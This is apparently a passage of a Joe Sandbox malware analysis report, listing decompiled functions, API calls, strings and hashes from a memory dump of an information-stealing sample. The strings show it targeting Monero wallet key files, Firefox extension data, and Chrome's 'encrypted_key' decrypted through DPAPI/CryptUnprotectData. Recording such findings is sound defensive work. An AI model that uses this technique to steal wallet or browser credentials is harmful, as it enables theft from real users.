Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: ed970098a0f51cf36f97502b92845e22d36451ec43c54d0159004092ae0a3dbe
Instruction ID: e63c98f80569e2f3ccfa0ae1058ca990e713d4e7f84518d230530aac9a49347f
Opcode Fuzzy Hash: ed970098a0f51cf36f97502b92845e22d36451ec43c54d0159004092ae0a3dbe
Instruction Fuzzy Hash: 743127B1C01218AEDB14EB90DC96BDEB77CAF04300F804199F20A76191DF746B48DF6A

Function 00CB87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00CC0E28,00000000,?), ref: 00CB882F
RtlAllocateHeap.NTDLL(00000000), ref: 00CB8836
wsprintfA.USER32 ref: 00CB8850

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Strings

%dx%d, xrefs: 00CB8847

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 1dd8567b06e08344549dbf8f7c1a4fe1931119879060b8ddab4889eec9536bf0
Instruction ID: ba735ad40b7c8c8de0f3fd5e76166031652a2a2867382a0c23bca2466183fd9c
Opcode Fuzzy Hash: 1dd8567b06e08344549dbf8f7c1a4fe1931119879060b8ddab4889eec9536bf0
Instruction Fuzzy Hash: 372133B1A40248AFDB04DF95DD89FAEBBB8FB48701F14412DF505BB280C7796904CBA5

Function 00CB8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00CB951E,00000000), ref: 00CB8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00CB8D62
wsprintfW.USER32 ref: 00CB8D78

Strings

%hs, xrefs: 00CB8D6F

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 3d210bb027bb926f2dc075e66a284fc97eac401e146685eb6472ff5281639b88
Instruction ID: 8821cf790f6fb97e68c12dba4c037c3d5f6c2aa1198cac273a6ab9c623b2acdd
Opcode Fuzzy Hash: 3d210bb027bb926f2dc075e66a284fc97eac401e146685eb6472ff5281639b88
Instruction Fuzzy Hash: CBE08670A4020CFFC704DB95DC4EE597BB8EB04701F044068FD099B280D9716E048B56

Function 00CAA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

Part of subcall function 00CB8B60: GetSystemTime.KERNEL32(00CC0E1A,009DE528,00CC05AE,?,?,00CA13F9,?,0000001A,00CC0E1A,00000000,?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CB8B86

Part of subcall function 00CBA920: lstrcpy.KERNEL32(00000000,?), ref: 00CBA972
Part of subcall function 00CBA920: lstrcat.KERNEL32(00000000), ref: 00CBA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00CAA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00CAA3FF
lstrlen.KERNEL32(00000000), ref: 00CAA6BC

Part of subcall function 00CBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CBA7E6

DeleteFileA.KERNEL32(00000000), ref: 00CAA743

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 57f59a24e268b232bfc83931f445c82c4d243626e46a22ce6dd125c5acccbce4
Instruction ID: 1f11030b30b3056ea150c36ffdde954effadf31da93507e048f4a14e9fc64b23
Opcode Fuzzy Hash: 57f59a24e268b232bfc83931f445c82c4d243626e46a22ce6dd125c5acccbce4
Instruction Fuzzy Hash: E2E1EA72C10118AADB14FBA4DCA2EEE733CAF14300F548169F556B6491EF316A4DEB62

Function 00CAD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

Part of subcall function 00CB8B60: GetSystemTime.KERNEL32(00CC0E1A,009DE528,00CC05AE,?,?,00CA13F9,?,0000001A,00CC0E1A,00000000,?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CB8B86

Part of subcall function 00CBA920: lstrcpy.KERNEL32(00000000,?), ref: 00CBA972
Part of subcall function 00CBA920: lstrcat.KERNEL32(00000000), ref: 00CBA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00CAD481
lstrlen.KERNEL32(00000000), ref: 00CAD698
lstrlen.KERNEL32(00000000), ref: 00CAD6AC
DeleteFileA.KERNEL32(00000000), ref: 00CAD72B

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: f1ef11923d715a6881690ca7c383165e44014e9deb3f56bb140369df9eb50473
Instruction ID: 4d9e8ed6df465824ea9b4cb6f035f0f8f07aacff65e3fdf6a01693ac6f04e8f5
Opcode Fuzzy Hash: f1ef11923d715a6881690ca7c383165e44014e9deb3f56bb140369df9eb50473
Instruction Fuzzy Hash: 99912F72C10108ABDB18FBA1DCA2EEE733CAF14300F544169F557B6491EF356A09EB62

Function 00CAD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

Part of subcall function 00CB8B60: GetSystemTime.KERNEL32(00CC0E1A,009DE528,00CC05AE,?,?,00CA13F9,?,0000001A,00CC0E1A,00000000,?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CB8B86

Part of subcall function 00CBA920: lstrcpy.KERNEL32(00000000,?), ref: 00CBA972
Part of subcall function 00CBA920: lstrcat.KERNEL32(00000000), ref: 00CBA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00CAD801
lstrlen.KERNEL32(00000000), ref: 00CAD99F
lstrlen.KERNEL32(00000000), ref: 00CAD9B3
DeleteFileA.KERNEL32(00000000), ref: 00CADA32

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 55467dfeed8bef8e45756bfeab74f2c6c4a958177ff725f02629c906da067c78
Instruction ID: b9e3d538760dd27b5d1ca01e6d1c024cdc32ec9c98aeb333b1c633940faf2a32
Opcode Fuzzy Hash: 55467dfeed8bef8e45756bfeab74f2c6c4a958177ff725f02629c906da067c78
Instruction Fuzzy Hash: 38813172810108ABDB14FBA1DCA2EEE733CAF14300F544128F587B6491EF356A09EB62

Function 00CAF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CBA7E6

Part of subcall function 00CA99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CA99EC
Part of subcall function 00CA99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00CA9A11
Part of subcall function 00CA99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00CA9A31
Part of subcall function 00CA99C0: ReadFile.KERNEL32(000000FF,?,00000000,00CA148F,00000000), ref: 00CA9A5A
Part of subcall function 00CA99C0: LocalFree.KERNEL32(00CA148F), ref: 00CA9A90
Part of subcall function 00CA99C0: CloseHandle.KERNEL32(000000FF), ref: 00CA9A9A

Part of subcall function 00CB8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00CB8E52

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

Part of subcall function 00CBA920: lstrcpy.KERNEL32(00000000,?), ref: 00CBA972
Part of subcall function 00CBA920: lstrcat.KERNEL32(00000000), ref: 00CBA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00CC1580,00CC0D92), ref: 00CAF54C
lstrlen.KERNEL32(00000000), ref: 00CAF56B

Strings

moz-extension+++, xrefs: 00CAF5AD
^userContextId=4294967295, xrefs: 00CAF59C

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: a0043e70105e64d629e799f3b004f8ea29523ec8e89d2228fdb68a1d55d0074a
Instruction ID: d2a52c0d35717cdbc48c8605b9998bba89f2228b4e27d08ea37752a6800ba75a
Opcode Fuzzy Hash: a0043e70105e64d629e799f3b004f8ea29523ec8e89d2228fdb68a1d55d0074a
Instruction Fuzzy Hash: CE511071D10108BADB14FBF4DC96EED737CAF54300F408528F856A7591EE346A09EBA2

Function 00CB3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 3bb17ce67bd11dc7e920c519e2729c63963e5d9df29ab6b5278cddc6eacccaf0
Instruction ID: 866b8570f3c415db31dbebf325be0d44daa3fc8be9c35913c0f16012cf48b05f
Opcode Fuzzy Hash: 3bb17ce67bd11dc7e920c519e2729c63963e5d9df29ab6b5278cddc6eacccaf0
Instruction Fuzzy Hash: 65414E75D10149EFCB08EFA5D895AEEB778BB44304F108028F41677290DB35AA09DFA1

Function 00CA9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Part of subcall function 00CA99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CA99EC
Part of subcall function 00CA99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00CA9A11
Part of subcall function 00CA99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00CA9A31
Part of subcall function 00CA99C0: ReadFile.KERNEL32(000000FF,?,00000000,00CA148F,00000000), ref: 00CA9A5A
Part of subcall function 00CA99C0: LocalFree.KERNEL32(00CA148F), ref: 00CA9A90
Part of subcall function 00CA99C0: CloseHandle.KERNEL32(000000FF), ref: 00CA9A9A

Part of subcall function 00CB8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00CB8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00CA9D39

Part of subcall function 00CA9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00CA4EEE,00000000,00000000), ref: 00CA9AEF
Part of subcall function 00CA9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00CA4EEE,00000000,?), ref: 00CA9B01
Part of subcall function 00CA9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00CA4EEE,00000000,00000000), ref: 00CA9B2A
Part of subcall function 00CA9AC0: LocalFree.KERNEL32(?,?,?,?,00CA4EEE,00000000,?), ref: 00CA9B3F

Part of subcall function 00CA9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00CA9B84
Part of subcall function 00CA9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00CA9BA3
Part of subcall function 00CA9B60: LocalFree.KERNEL32(?), ref: 00CA9BD3

Strings

DPAPI, xrefs: 00CA9D89
"encrypted_key":", xrefs: 00CA9D30
, xrefs: 00CA9DC1

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 47283674950cd9ed5d6a4449e1be8038ac6ef5aaaf68b852fd8bc59659d301df
Instruction ID: 050bff027e449aa64af7945bf49d8269845a55982c3dd3118cebb0657d7cd4ed
Opcode Fuzzy Hash: 47283674950cd9ed5d6a4449e1be8038ac6ef5aaaf68b852fd8bc59659d301df
Instruction Fuzzy Hash: A73110B5D1010AABCB14DFE4DC86EEFB7B8EB49308F144519E915A7241EB309A44CBA1

Function 00CB92E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00CB3AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00CB3AEE,?), ref: 00CB92FC
GetFileSizeEx.KERNEL32(000000FF,00CB3AEE), ref: 00CB9319
CloseHandle.KERNEL32(000000FF), ref: 00CB9327

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
